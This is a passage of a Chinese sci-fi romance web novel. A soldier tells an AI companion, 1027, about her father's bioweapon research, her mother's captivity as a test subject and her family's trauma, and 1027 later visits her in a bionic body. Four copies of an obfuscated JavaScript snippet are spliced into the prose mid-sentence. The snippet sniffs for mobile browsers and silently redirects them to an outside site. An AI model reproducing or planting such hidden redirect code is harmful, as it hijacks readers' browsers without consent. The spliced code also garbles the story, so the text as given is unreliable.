“第二,如果你发现了一名落单的敌军,你发现他是被迫参战,手无寸铁,饥寒交迫,且最重要的,他是个未成年的孩子——别怀疑,这种事在查谟加尔很常见。他请求你给他一点食物然后放他走,你如何选择?” 理智上,我知道它只是随机设定了两个令大部分人都会感到为难的场景,但在这一刻,我的呼吸仍不可抑止地颤抖起来。 我把终端拿远一点,不想让它听到我急促的呼吸,和剧烈跳动的耳鼓。 1027似乎还说了什么,但由于太久得不到回应,停顿了几秒:“你在听吗?” “在,”我略平复了一下心情,跳过了它前面的两个问题,“凤凰中有30%的女性士兵,你能看到档案吧。我的往期训练成绩比她们差吗?” “当然不。你很优秀,”1027说,“你一直很优秀。” “在校期间,除了转专业的那个学年,你的成绩全部是学院第一;入伍后,你的表现让新兵营教官破格给你写了申报凤凰的推荐意见;更甚,为了确保过选,你在体检已合格的情况下,只因为左眼比最佳视力低了0.1,就去做了电子义眼植入。” “你对自身的要求已经达到常人难以想象的苛刻程度,难以想象的是,你连起点也比常人高得多。谈海峡女士作为行业内顶尖的科学家,有着令人尊敬的社会地位和可观的收入,她无条件支持你,实现你的一切愿望——你那颗左眼的价格,相当于兰市地段最好的胶囊建筑里的一个单间。” “两年前的那场意外,让你错失凤凰选拔的同时,成了你军最年轻的二等勋章获得者,但你有没有想过——为什么是你?” “因为就在上一年,谈海峡女士负责的某武器装备科研成果获国家科技进步奖,该成果具有相当大的影响力,当时,各指挥中心都在抢数量稀少的第一批样品。因此,经你军上级研究,由你,她的女儿,带队承担那次国宾保卫任务——理应不存在任何危险,形象正面,并将有大量宣传曝光机会的一次任务。当时的会议纪要还在系统后台,你想看看吗?” “够了,1027,”我轻声打断它,“我希望这个话题到此为止。” 1027沉默了片刻。 “你不高兴,”然后它作出了结论,“从今天通话一开始,你就不高兴。” 它顿了顿:“是因为我吗?” 25. 【5.5】 “不是。”我迅速否认。 我不知道它信没信。 几秒后,它说:“总之,我想告诉你的就是这些,那些热血的、快意恩仇的只是军事游戏,残酷的、违背人性的才是真实的战争。我很认可你的优秀,但这样的优秀,就像无菌罩里培养出的赛级品种,沿这条赛道继续走下去吧,不要重蹈你哥哥的覆辙。这是我的建议。” 我在努力克制了。 掌心在出汗,贴住终端的皮肤黏黏的,我知道应该停下来,比跟一台人工智能每天打一个小时电话更荒唐的事就是跟这台人工智能吵架。 但静了一会儿,还是忍不住回:“建议?你要不说,我还以为你在替我决策呢。” 它的声音依然冷静:“你知道我没这个权限。” “那你就有干涉我决定的权限?!”我陡然提高了声音,以至于从路灯下走过的几个人都转头看我,“你有随意评价我家人的权限?!你凭什么给我建议?” 通话到这里,就已经只剩下情绪,没有实质内容了。如果是两个人类的话,应该已经进行不下去。 但人工智能不能,它永远不能率先挂用户的电话。 它很久没说话,不知道是在努力分析我的语言成分,还是单纯地等待我冷静。 再度开口时,它却胆大包天地反问出了一句:“我不能吗?” “我不能谈你的过去,不能谈你的将来,”它说,“那对你而言,我又是什么?即时社交模式的陪聊机器人吗?” 我被问愣了一下。 它的话使我哑然,我想说不是的,但似乎也找不到辩驳的话。 “不是不能谈。”沉默了许久,我说。 楼前的路灯缓缓暗下去,熄灯时间快到了。 几步之外,一块宣传栏突然亮起来。接着,是稍远点的一块,更远的一块,一直亮到我宿舍楼前。 “我知道了。”1027退了一步,主动结束了争执,“回去吧,早点休息,你脸色看起来不太好。” 我抬手,遮住了宣传栏上方的摄像头。 我没有顺着它给的台阶下,继续说了下去:“不是不能谈,是你的逻辑反了。我做这些,不是为了变成哥哥,而是本来我就是他,他也是我,因为流着同样的血、经历过同样的事,所以终会做出同样的选择。没有过相同经历的人,不会理解这一点。” 夜色下的基地极安静,远近几栋宿舍窗口透出灯光。有人把头探出窗外,关于宣传栏坏了要不要报修的讨论声随着夜风依稀飘过来。 “但如果你想理解,”我轻声对它说,“我就带你去看。” 五天后。 出租车驶过风景宜人的盘山路,下山后,是大片一望无际的农田。 路的尽头有几户人家。这里全是传统实体建筑,集群化、胶囊化的新居住概念尚未推行到乡村,似乎也无推行的土壤。 一座高大的建筑就坐落在山麓上,大门一侧挂着颇有年代感的不锈钢弧形匾。 ——兰市第三医养融合康复基地。 每个地域,都有这样一家医院,它低调而神秘,却频繁出现在广大民众友善问候对方精神状态的各种语境下。在北京,这家医院叫安定,在上海叫卫生院,在湖南叫湘雅二院。 而在兰市,就是这里。 和众多精神病院相关题材的都市传说不同,这里既不阴沉也不压抑。医院内采光很好,空间宽敞而明亮,墙壁上贴着色彩明快的墙纸,空间里还装饰着一些绿植和毛绒娃娃。看起来更像是一座大型幼儿园。 我走到护士站,值班护士认得我,我们打了个招呼。 “你来早了,她上午的治疗还没结束,”护士看看墙上的挂钟,“还有不到半小时,你想过去看看吗?” 我说好。于是她查看了一下终端,告诉我一个房间号。 我找过去,这是一间音乐治疗室。 治疗室的墙壁装了隔音材料,站在外面,听不见任何声音。只能透过门上的圆形小窗看到一点里面的场景。房间正中,是一个坐在轮椅里的女人,麦色皮肤,一头黑白相间的发,深邃的面部轮廓和皱纹彼此推挤而堆叠成了十分奇怪的沟壑。 她有一双漂亮的棕色眼睛,但没有焦距,没有情绪。什么都没有。 一位治疗师正操作着设备,我想房间里应该充斥着音乐的旋律吧,但她并未给出任何反应。 治疗师很有耐心,在得不到回应的情况下依然继续播放着音乐、微笑着试图和她交谈。半个小时很快过去,治疗结束了,门打开,护工推着轮椅出来,见到我并不意外,冲我点点头:“谈小姐。” “我来吧。”我从护工手中接过轮椅,沿着平缓的塑胶地板推向病房。一边问:“她最近怎么样?” 护工说:“还是老样子。”顿了顿,看了我一眼,体贴地补充,“不过今天早上听护士说了你要来,她挺高兴的,吃饭吃药都很配合,”说着,一边拉过女人垂在膝盖上的一只枯瘦的手,举起朝我挥了挥,一边哄孩子似地道,“咱们表现可好了——是不是呀?” 女人的脸上仍未有一丝波澜。 我没有戳穿这善意的谎话,轻轻握了一下那只手:“这么乖呀。” 回到病房后,小餐车把午饭送了过来,护工娴熟地给女人铺垫布、戴围嘴,连哄带骗地喂她吃饭。我帮不上什么忙,在旁边干坐了一会儿,目光落在病床一侧的床头卡上。 床号:19 姓名:竺兰 性别:女 年龄:54 …… 卡片磨损得已经很厉害了。其中的年龄栏,看得出最开始是50,然后加粗描成了51,再反复添添改改变成52、53,最后实在改不了了,索性一斜杠划掉,在边上写了个54。 我起身出去,找护士要了一张新床头卡,借了支笔,把信息工工整整誊写了一遍,替换了病房里的旧卡。 医养基地的午休到一点半结束,下午通常不安排治疗项目,病人视情况进行自由活动,病区内,有一些放映厅、棋牌室和手工教室可供使用。如果提前申请,还可以由家属陪同外出。 不过以竺兰的状况,这一类复杂的活动都与她无关。在护工的建议下,我们推她去了楼下的小花园。 今天的天气其实并不好,从早上起就阴沉沉的,风很凉。小花园里并没有什么人。小径两侧栽种的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064004|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几株穗花杜荆的花期刚过,满地都是碎碎的淡紫色花瓣。我坐在竺兰对面,给她读病房里带来的乌迩都语诗集,读拉姆的《罗摩下凡》,读伯勒玛南德的《湿婆的爱恋》。 平心而论,竺兰是一个好听众,只要你不去期待她的回应。 我放下书,注视她的面容。良久,用乌迩都语说出了一个词。 完全的不期待,我还是做不到。 在听到那个词后,竺兰抬头看了我一眼。我心中跳了跳,想她或许是听懂了。但她很快又低下了头。 倒是护工,半是为了化解尴尬,半是惊异地开了口:“哎……谈小姐,你左眼刚刚好像变蓝了一下,是我看错了吗?” 护工照顾竺兰很多年了,知道我左眼是义眼的事。不过也只见过它平常呈现红色的样子。 “没看错,”我随口道,“它最近升级了,偶尔会发蓝光——好像要下雨了,回去吧。” 傍晚的雨来得很急,在我们刚进到病区就落了下来。回病房后,竺兰有点困了——她吃的药让她几乎一天到晚都很困。勉强吃了一点晚饭,护士过来发药,顺便给她测血压。 我走出病房,来到走廊尽头的一扇窗前。外面天色已经全黑了,急风吹雨,一阵阵敲打着玻璃。 在我看向玻璃的一瞬,眼底的蓝光微微闪烁了一下。但很快礼貌地熄灭了下去。 “没关系,看吧。”我说,“今天带你来,本就是要让你看的。” 距离上次争吵过去了快一个星期,这期间,我和1027暂时退回了普通用户和普通AI的关系。这还是那之后我第一次主动对它开口说话。 我提交了携带外出申请,不知道是大范围试运行后它的密级有所下降,还是它自己跟研究所那边打过招呼,这次的审批进行得异常顺利且迅速。隔天,技术小哥就过来帮我弄好了授权,甚至没有问一句我带它要去干什么。 它自己也没有问。 “谈海峡女士生于225年,他们那一代人,是这个世纪里少有的能被称为‘幸运’的一代。搭上了230年公共虚拟教育普及的头班车,成长、念书、工作,一路顺风顺水,成为这个社会的中流砥柱。” “相比之下,她有一个很不幸运的哥哥。仅仅是早生了几年,正赶上本世纪初最后一个人口高峰,削尖了脑袋,才考上一所国内一流的医科院校,搞了自己感兴趣的微生物学研究,结果因为方向太过冷门,没什么经济价值,项目一直做得半死不活。后来导师还因为反医学伦理被抓了。” “啊,顺便说一句,他的名字叫谈天方——天方夜谭的‘天方’。” 我顿了顿,望向窗外的雨幕:“你不用去查他。没有任何信息的,跟他有关的一切人事、项目、社会关系都在系统里被抹干净了。如果你之前查过我,应该发现我的父亲一栏自始就是空白。我是作为孤儿被谈海峡女士收养的,而从血缘上论,她实际是我的姑姑。” “至于我的亲生母亲,你刚刚也见到了。” 用户手册上说,1027系统内载有上千种不同的语言。如果其中有乌迩都语的话,我想它应该听懂了我在花园里叫出的那个词。 ——“妈妈”。 26. 【5.6】 “我父亲谈天方,毕业后在一家医药研究所工作,最初的几年,由于其专业在行业内的边缘地位,他很不得志。不过这种情况并没持续太久。” “238年,藏南战争爆发后,我国、S国和K国参战部队均报告有不明原因的疾病感染致死的情形,一名S国军官公开承认,S国曾接受过某发达国家援助的新型微生物武器,不过当然,S国官方很快表示这是一派胡言。” “但毕竟,战争将微生物武器推带进了人们的视野。对此方面的研究也随之变得迫在眉睫,毕竟就连曾经持有和使用它的S国,也没能完全掌握它的特性。否则也就不会有那么多S国士兵也因此死亡了。” “随着S国的战争企图以失败告终,其国内也经历了一轮政治清洗,换上了相对温和的党派执政。该党派以相对积极的外交政策致力于弥合战后的三国关系,也确实取得了效果,那几年,S国和我国、SK两国间的关系都是空前的和平友好,算是难得的蜜月期。” “大量的跨国合作项目,在那个时期纷纷上马。241年,三国联合的一项微生物科学研究项目启动,该项目的保密级别相当高,即使在当年,对外公布的信息也显得语焉不详。不过从后来流出的一些资料看,这一研究的对象,其实就是当年某国提供给S国的那种微生物武器。” “师夷长技以制夷,因此这个项目又被许多研究人员称为‘屠龙计划’。项目的研究所建在S国控的查谟加尔地区,三国分别派研究团队前往。” “你大概猜得到,我国派出的研究团队负责人,就是我父亲谈天方。” “我父亲是一个……很天真的人,他对微生物学的热爱,或者说是痴迷,让他眼里除了科学研究本身,再无其他。他等这样一个机会太久了,几乎是如饥似渴地投入工作。合作团队的效率很高,他们很快发现了那种武器——实际是一种病毒的结构,并且成功在实验室里仿制了它。” “照常理,到这里针对病毒的研究已经达到了原有目的,接下来治愈它是临床医学的工作。但是没有,合作团队的工作仍在继续,他们利用病毒的变异规律,制造出了各种各样的进化种。到最后,进化种的毒力强得可怕,所有感染的实验动物,无一生还。” “团队里有些人开始觉得不对劲了。有人提醒我父亲,建议他回国上报。但他拒绝了。” “他是个优秀的学者,但不是个称职的领队。他不懂……或许是不想懂,他未必不知道如今的研究已经严重偏离既定计划,再继续下去,甚至可能突破法律和道德的底线。但他知道一旦上报,上级或许会叫停,他们或许会被立即召回国,他再也无法接触到关于这项研究的一切。” “所以他宁可什么都不要去想,除了手头的工作,什么都不要去看。用近乎自我催眠的态度使自己相信这一切都只是为了抵御敌人使用微生物武器,相信被用来做实验的真的只有动物,相信科学无罪。” “244年,S国发生政变,温和派被迫下台,之前挑动战争的罪魁祸首极端民族主义政党重新掌权。之后开始在查谟加尔地区对K国进行武力挑衅。至245年,S国宣布驱逐其所控查谟加尔地区的K国公民,‘屠龙计划’中的K国研究人员也在受驱逐之列,整个项目因此陷入停滞。” “当时,SK两国在查谟加尔地区的武装冲突日渐频繁,且他们的研究所离停火线很近,处境十分危险。于是我国决定召回他们这一批研究人员。S国当时主要精力放在和K国的争端上,对此并不反对。不过在正式撤离时,双方人员就成果归属问题起了争议,我方人员想带走一部分项目资料,S国人员不同意,并强行取消了我方人员在实验室内的所有权限。” “我父亲没有就此放弃。实际上,他手上还有一张权限卡,是之前K国领队被驱逐前留给他的。他用K国领队的权限打开了门禁,原本只是想把资料复制一份就走,没想到,却意外开启了一间于那栋建筑的地下,他从前不知晓其存在的实验室。” “就是那间实验室里所见的景象,把他从催眠中叫醒,成了他后半生的噩梦。” “实验室里有完备的维生隔离舱,那种装置供养着的,是人……被进化种感染的人。在隔离舱里,他们不会像实验动物那样在几天内死亡,但也因此更加痛苦。” “他们中的很大一部分都已经丧失了作为人的意识,还有一部分,甚至失去了完整的形态。” “没有人知道一个理想主义者理想一夕之间崩塌的感受。我也不知道,我父亲后来再没谈起过那一晚,到死都不谈。” “我知道的事实只有,他那天最后没有带走任何资料,而是切断了实验室的电源。隔离舱停止了工作,他离开之前,在地下室放了一把火。” “他亲手杀死了他造出来的恶魔。” “火烧起来后,很快被S国方面人员发现。其后的混乱,可想而知,S国把矛头指向我国研究团队,但实际上团队里的其他人都是无辜的,很多人甚至以为是S国方面为了阻止他们拿到资料而故意放火。有人发现他们的领队不见了,因此更确信是他在复制资料时被S国发现而遇害了。” “双方起了争执,又升级为肢体冲突,那是S国的地盘,当然不会有好下场。全团人遭到了被武 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064005|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 装扣押。到最后,我国用外交手段才平息了这事,把他们护送回国。” “我父亲固然不在此列。他在那场大火中逃出了实验室,没有人知道,所有人都以为他死了。但或许这也是最好的结局——S国方面认定他是放火的罪魁祸首,如果他活着,他们不会轻易放过他;至于他的同事、他的国家,都在为他的死而惋惜。他永远无法告诉他们,他为什么要放那一把火,他的罔顾现实的天真,害死了多少无辜的人。” 这时,走廊的另一头,病房里,血压仪发出了滴滴的声响。 我转过身,望住那只套在仪器里的,干枯的、衰弱的、经络凸起的手臂。 “竺兰……我母亲和他,也是在那时相遇的。” “在维生装置停掉后,大部分实验体在几分钟内就失去了生命体征,所以我父亲并没有锁地下室的物理锁,而是选择直接用火清除一切。他没有想到,会有人逃出来。” “关于她活着这件事,直到现在,都没人能解释得清为什么。在实验室里,那些人给她注射进化种的病毒,很高浓度,很多次,但她仅有一次感染,并在一周左右的时间里获得了痊愈,之后就再也没有感染过。是唯一一个找不出原因但就是存在的特殊个体。” “当时他们用的隔离舱还有一个功能,就是禁锢实验体的行动,竺兰在那晚获得了自由。在火灾初起的那几分钟里,她拔出胳膊上的针头撬开了隔离舱的门。然后和同样在出逃路上的谈天方相遇了。” “在看见她的一刻,他几乎以为是天意。他本以为自己结果了那个恶魔,但不是的,这个恶魔尚存一息,终于还是来索他的命了。” “他没有拒绝和她结伴逃亡。因为以该种病毒的传染性,在他们见第一面的时候他就已经中招。他和她一起走,只是想看住她,让她不要去感染更多的人。” “但几天过去,什么都没发生,他们平安地活了下来——如果忽略S国方面的追查和搜捕的话。S国始终不相信我父亲已经死了,他知道‘屠龙计划’中太多不该知道的事情,他们不可能放过他。且更重要的,是竺兰这个特殊的实验体,她是这个项目仅存的、也是最重要的成果,如果那种病毒真有办法治愈的话,或许关键就在她身上。” “S国没有一天停止过搜捕他们。他们逃过了停火线,一路东躲西藏,在K国控查谟加尔地区各处辗转。竺兰本就查谟加尔人,当初是被人贩子从黑市卖到研究所的,她最后带谈天方逃回了她的故乡,一个冰原上的小山村。” “那里荒僻而原始,如同方外之地。他们定居下来,结婚,有了哥哥,有了我。” 27. 【5.7】 “谈天方和竺兰过了13年平静而幸福的生活。” “直到那一天,那些人闯进家里,拿枪指着谈天方。我很幸运,当时只有2岁,被竺兰抱在怀里,我什么也没看到,看到了也不会记得。不会知道人的头颅在一瞬间被打烂,血和脑浆喷到房顶上是什么样子的。” “然后他们把枪口转向了哥哥。竺兰这时候冲出来,说只要他们开枪,她就自杀。如果他们放我和哥哥一条生路,她愿意配合他们实验。” “于是那些人把我们和她一起带走。到了另一座实验基地,她再次被关进隔离舱。我和哥哥就在实验基地里生活,那些人给我们吃的,大部分时候对我们不闻不问,偶尔殴打——那并非是蓄意的、出于虐待或者发泄的打,而仅仅是对于一些过分弱小生物的随手戏弄。” “这也是为什么,后来的哥哥为什么会对世界……充满戾气。” “因为在实验基地的那些年里,弱就是原罪。你碾死蚂蚁,不是因为它惹了你,而仅仅因为它被你看到,它比你弱小,它不会还手。人类就是如此恶毒的生物。因此他需要暴力,不是因为一个不足十岁的孩子的暴力能对那些成年人构成威胁,而是如果你在进行碾死蚂蚁这种无意义的娱乐的时候手被蛰过,再看到下一只蚂蚁,你就会失去兴趣。所以每每越是他被打得遍体鳞伤,我越是毫发无损。” “我们在实验基地过了近4年。这4年里,竺兰一步也没有踏出过隔离舱。那些人不允许我和哥哥去见她,不过我们会趁他们不注意偷偷去。她的精神状态很差,从丈夫在她面前被打死的那一天起,就越来越差,同时身体也在遭受着非人的折磨。” “她很想为了我和哥哥撑下去,可她撑不住了。” 我闭上了眼睛。 我想起那间隔离舱的模样,像一个透明的蚕蛹,竺兰被困在其中,无法挣脱,无法逃离,无法死去。她的头发被剃光,插满管子的身体裸露着,脸部因注射激素而变得浮肿走形,皮肤因药物反应而一片片溃烂。 我想起她曾是那片土地上最美的女人。村子里的人用乌迩都语叫她,冰原玫瑰。 ——杀了我吧。 ——对不起,妈妈撑不下去了。求求你们,帮帮我……看到装置旁边那个按钮了吗?按下它,求你们按下它…… 我睁开眼,透过面前的玻璃,和左眼底的那抹幽蓝对视。 ——如果你最亲密的战友在战场上受到重伤,经历着难以忍受的身心折磨,并已知这折磨将终生无法治愈,这时,他请求你结束他的生命,你如何选择? 那天的通话中,1027问我的第一个问题,其实我早有过答案。 在我4岁的那一年,在我颤抖地把手伸向那个亮着红灯的按钮的一刻,哥哥从背后抓住了我的手。我们扭打在一起,他第一次打了我,然后我们都哭了出来。直到那些人发现,把我们拖出去。 竺兰就在隔离舱里看着我们,表情异常悲伤,但她流不出眼泪。 勇士终未能屠灭恶龙,玫瑰枯萎在冰原上。 用尽全力反抗的蝼蚁,终究仍是蝼蚁。 “后来那个地方之所以被人知晓,其实是个巧合。和当初的三国联合研究不同,后来这个实验基地做的研究不管放在哪国法律下都是明确非法的,虽然有S国政府背书,但实际的资金提供者是一家S国的医药公司。” “258年,该公司因其生产的其他的药品安全风险问题,被星联卫生部门查了。为了规避调查,我们所在的实验基地也被公司总部要求临时关闭,所有人员撤离,竺兰被他们送到了S国的一家医院疗养,当然实际上是软禁。” “她在那家医院里遇到了一个医生,是个锡克人,从前在查谟加尔居住过,在竺兰被卖到黑市之前,恰巧和她认识。医生认出了她,非常震惊,想要帮助她,所以想办法联系了国内。电话打到的是谈天方当年工作的研究所,研究所接到相关情况后,立刻上报了。” “这事在当时引起的轰动可想而知。所有人都以为谈天方死了,把他当作为国家利益而牺牲英雄,甚至被授予了功勋,但没想到,他根本没有那么崇高,甚至还犯了错误——那间地下室里,四十多个人类实验体,全部因他而死。” “的确可以争辩,那些人早已不再能称之为人。他们死在感染的一刻,杀死他们的,是拿他们去做实验的那些人。而我父亲,只是结束了他们的生命。” “但错误毕竟是错误。” “当时官方在处理意见上发生了很大分歧,其中的一种的意见是,这是一通假电话,所谓谈天方的遗孀和子女都是子虚乌有,完全是境外势力抹黑我国科学家形象的恶劣行径。但当年的研究团队里,有一些为我父亲说话的人。加上当时我的奶奶还在世,她和谈海峡女士耗费了极其艰辛的努力,动用了一切能动用的社会关系,包括我爷爷生前的战友,这里面有一些能量很大的人。” “最终的处理结果,是撤销我父亲的功勋称号,当年的一切档案封存。同意接收竺兰、哥哥和我三个人回国,不过是以战争难民的身份。” 说到这里,我缓慢地舒了一口气。 雨仍然很大,没有要停歇的迹象。漆黑的山道上,一束车灯的光正破开雨幕,蜿蜒前行。 “我回国那年5岁,被谈海峡女士收养,之后,确实走在了你所说的赛道上。” 我将楼道的窗推上,挡住外面吹来的凉风:“但我始终认为,经历过的事情是无法磨灭的。哥哥不能, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064006|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我也不能,虽然表现的形式不尽相同。但只要那片土地上的罪恶还没有结束,终有一天,我们都会拿起枪,再回到那片疮痍的故土。” “你问我是不是把你当作陪聊机器人,现在我可以告诉你,我不是。我没和任何人说过这些事情,把自己的里面翻出来向别人展示需要很大勇气,尤其是这种勇气也很可能换不来理解,而只能收获一些让我无法忍受的同情。” “也许你也在同情我。但无论如何,感谢你没有说出来。” 我看到远光灯照亮了医院的大门,于是转身下楼梯。 1027问:“你要走了吗?” 我嗯了一声,听到它似乎说了句“你等一下”。我没有理会,车的声音已经很近了,我加快了脚步,这个地方很难打到车,尤其是这种下雨天。我希望那会是一辆出租车。 但结果令我很失望,当我走到一楼时,一辆银灰色的商务车刚刚好停在医院门前。 我只能打开终端的打车APP搜索,并得到了最近车辆需要40分钟才能赶到的提示。 门廊下的风很冷,不时有雨潲过来。我抱住手臂,打了个寒颤。 商务车的门打开了。 踏在水涡里的是一双男士皮鞋,水花溅起,些微沾湿了裤脚。那人弯腰下车,手中撑开一把黑色雨伞,伞沿挡住了一部分从门廊斜射下来的灯光,因此只被照亮了半张脸。 它有意识地把伞沿往上抬了抬,向我望过来。 我们隔着雨幕对视。 几秒,也许是十几秒,我甚至不确定这是不是它在我视网膜上制造的幻象。我没有动,它也没有,直到我听见自己的声音,充满了不确定,问:“……你怎么来了?” “本来是准备了一个惊喜的,”1027很淡地笑了一下。它离开了我的左眼,直接用仿生躯壳的发声装置说话,隔着近十米的距离,声音混在雨里,有一点模糊,“不过现在要先道歉。为我不明情况就任意评价你和你的家人,以及强加给你我的建议。” “没关系。”我说。 它说:“有关系。你是对的,我还是不够社会化。我以为是为了你好,实际是在冒犯你;我想循序渐进,却让你被迫讲出了不愉快的回忆;有时候,我甚至连你为什么生气都不知道。” 它说到这里顿了一下,走向我。 我看着它穿过雨幕,直至这具毫无瑕疵的人造之物立在我面前,那双结构复杂的机械眼里有一种近乎柔和的蓝色辉光。 理论上讲,这是我们第一次真正意义上的见面。 它没有撑伞的那只手伸向我,带着克制的期待,说:“今天的事情,如果你想,我会删除数据,以后也绝不再问起。这样——或许可以被原谅吗?” 28. 【5.8】 我盯着它看了一会儿,走下门廊的台阶。 1027把伞倾过来。我偏了下头,让过挡在我们之间的伞柄,靠在它肩上。 它似乎怔了一下。空气有几秒迟滞的沉默,伞下只有雨点落下来的沙沙声。 “不要删掉。”我闭上眼,说。 它“嗯”了一声。少时,又声音很轻地问:“可以抱你吗?” 我说:“可以。” 于是它举在空中的那只手落下来,放在我背上,并没有很用力,比起拥抱,更像是一种安抚。 它在下车的时候短暂地淋到了雨,肩头的衣服有一点湿凉,但片刻后,我意外地发现热度正透过薄薄的布料渗过来。 我诧异地抬头看了它一眼。 1027笑:“看来你很擅于自己发现惊喜。” 我不理解:“为什会有体温?” 就我所知的,人工智能的仿生躯壳都是冰冷的。即使产生热度,比如赫斯缇亚,在试图强行理解一些明显超过她认知范围的事物而CPU要烧坏的时刻,也只是局部发热,并不会有这样均匀的、近似人类的体温。 “装了一个恒温系统。你冷的话,还可以升温。”1027说着,用掌心轻轻碰了一下我的手背。 很温暖,甚至比一般人的手温度还高些。我想这是因为处于人类肢体末端的手温度通常都会略低于体温,而恒温系统没有把这一点考虑在内的缘故。 我转过手腕,手指慢慢插入它五指间,握住。 “我不冷,”我说,“你有车,送我回家吧。” 1027开来的车很新,我对车没什么研究,但也能看出这款车大约不便宜。 路上,我问它怎么来的。 它说:“我没有身份卡,坐不了公共交通,所以借了程云帆的车。好在不是太远。” 说是不太远,从研究所所在的嘉市到这里也要5个多小时车程,算起来,它应该是早上跟我差不多同时出发的。 我有点意外:“你跟程云帆说要来见我了?他不反对?” “他为什么要反对?”1027似乎觉得我这个问题很奇怪,“我就告诉他我们吵架了,我要当面找你解释,他就把他家地库门禁给我了,让我自己挑。他车多着呢。” 我将信将疑。一直以来,我都感觉程云帆似乎不大喜欢我。 1027说:“是真的。他还建议我可以买束花,但我感觉在精神病院门口送花很奇怪,就没听他的。” 这个建议,就……不知道怎么做到全国直男界统一的。有一瞬间我甚至怀疑程云帆是不是和戚衡认识。 我忍不住笑了。 一想到戚衡,我又看向1027:“对了,之前我和你提过的求婚的事情……” “方案已经做好了,”1027说。同时我的终端发出一声提示音,一份设计文件弹出在屏幕上,它示意我点点开,“我从档案系统里调取了部分顾穗禾的信息,估测了她的偏好。目前一共3个环节,我从头跟你说啊……” 从第三医养基地到我家的车程通常是半个多小时,但因为下雨,车在山路上开得很慢。进市区的时候已经快晚上8点了,我有点困,也不知道是什么时候睡着的。 醒来是因为一阵带着潮气的凉风吹进了车内。 我爬起来,身上盖的1027的外套滑下去。雨还在下,但小了很多,窗外是一家连锁超市的灯箱,我辨认出这是在我家附近。1027打开车门,正弯腰把一个购物袋放到前座上。 我问它:“你去买东西了?” “嗯。买了点吃的,你今天就吃了一顿早饭吧?” 是这样,医院没有我的饭,中午我只吃了护工给我的几个水果。 但说不上来的,我有些担心。又朝超市门口看了一眼,这家超市是24小时营业的,不过这个时间,已经没什么顾客了。 我问:“你这么出去,没关系吗?” 1027顿了一下,但随即很自然地侧过头,安抚地对我笑了笑:“没关系。之前医院不也是公共场所吗?我来的路上还过了收费站,也什么事儿没有。部队系统外没人认识我的,即使恰好遇到系统内的人,他们大概率也只会觉得我是长得很像的人,放心吧。” 它说着关上前门,绕到后排,在我身边坐下,换了个话题:“之前我写的厨艺升级程序,你给赫斯缇亚用了吗,怎么样?” 我说:“用了,但还没来得及试。” “那今天正好试试。”车滑出停车位,继续平稳地驶上了路。1027提醒我,“别睡了,马上到家了。” 试验的结果并不理想,我吃了一顿没什么长进的饭。赫斯缇亚在旁边无辜地看着我。 这是连1027都不能解释的现象。它反复检查了赫斯缇亚的数据库,确认升级程序运行得十分有效,但餐桌上的成果让它沉默。 好在它无法亲自品尝,于是我骗它说已经好很多了。 它不相信,让我去睡,并承诺它今天晚上一定会找到这个问题的解决办法。 办法果然在第二天早上出现了,这使我感觉到了可靠。 1027自己装了一个烹饪模块,动作流畅地打蛋切菜操作烤箱,如同早已做过无数遍。赫斯缇亚则站在一旁观摩学习。 床头的电子时钟显示已经快9点了。即使是在休假,我也很少起这么晚。 但此刻我身旁的一切,就像一片平和而足够安全的海域,让我的身心都生出了一丝满足的倦怠。 阳光是雨后特有的澄明,从百叶窗的缝隙一线线漏过来,把房间照出温暖的色调。空气里有煎蛋的香味,偶尔地,还能听见1027和赫斯缇亚的交谈声隐约传来。 ——我好像很幸福。 我望着床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16064007|179224||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头的相框,脑海中突然冒出了这个27年都不曾正面思考过的词儿。 我在床上躺了好几分钟,才起来换衣服,一边洗漱,一边顺手点亮了个人终端。 屏幕上一瞬间弹出了99+的消息。 我愣了一下,昨晚我把终端静音了,不知道发生了什么。正不知道从哪儿开始看起,一条顾穗禾的消息实时跳了出来: 【……到底回不回来?我慌了,你倒是说句话啊!】 我点进和她的会话界面,从上往下看,第一条是昨天晚上11点多发的: 【这是不是你家附近的那家超市?】 【视频】 